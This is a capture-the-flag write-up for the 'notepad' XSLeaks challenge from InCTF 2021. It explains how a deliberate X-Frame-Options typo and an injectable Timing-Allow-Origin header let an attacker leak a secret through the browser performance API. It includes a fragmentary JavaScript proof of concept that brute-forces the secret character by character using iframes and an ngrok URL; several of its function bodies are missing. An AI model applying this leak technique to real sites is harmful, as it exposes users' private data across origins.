Tags: xsleaks 


This challenge was based on [XSLeaks](https://xsleaks.dev/). The challenge uses a `Secure` cookie with SameSite as `None`. One other important difference in this challenge is the typo `"X-Frame-Options": "DENI",`. This allows the page to open in an Iframe. The Header setting part is shown below.

for k, v := range param {
for _, d := range v {

if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && !regexp.MustCompile("[A-Za-z]{7}-[A-Za-z]{11}").MatchString(k) && len(d) < 4 && len(k) < 39 {
w.Header().Set(k, d)

In this, we are allowed to set only a Header value of less than 4 characters. And it also disallows a Header name that matches `[A-Za-z]{7}-[A-Za-z]{11}`(Intent was to block Content-Disposition). The idea was to use `Timing-Allow-Origin: *` header. This header allows the host to use the performance api on the request used to fetch that resource. Without Timimg-Allow-Origin header, performance api doesn't give back the full result, but a minified version of it.

The state I used in my POC was `nextHopProtocol`, which would be equal to "" if the header was not set. So, if our startsWith is correct, `nextHopProtocol` would be empty.

<title>Exploit - Ken's Chronicle</title>


async function run() {
startsWith = window.location.search.substring(1);

characterSet = "abcdefghijklmno"
characterSet += "pqrstuvwxyz_{}"

for (var j = 0; j < characterSet.length; j++){
bf = startsWith + characterSet[j]
url = `https://7649ac48b82b.ngrok.io/find?startsWith=${bf}&debug&Timing-Allow-Origin=*`

var iframe = document.createElement('iframe');
iframe.src = url;
iframe.onload = "alert()"

function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));

function checker(){
list = window.performance.getEntriesByType("resource");
for (i=0; i<list.length; i++){
curr = list[i]
if (curr.nextHopProtocol == ""){
try {
} catch (error) {

async function doit() {
await sleep(10000);


One other way to do this is use `Refresh` header and counting the onload events. Since this challenge uses a SameSite: None, has no Iframe protections, aaand the number of headers we can use are vast, there are quite a number of ways to solve this.

Original writeup (https://blog.bi0s.in/2021/08/16/Web/notepad-inctf21/).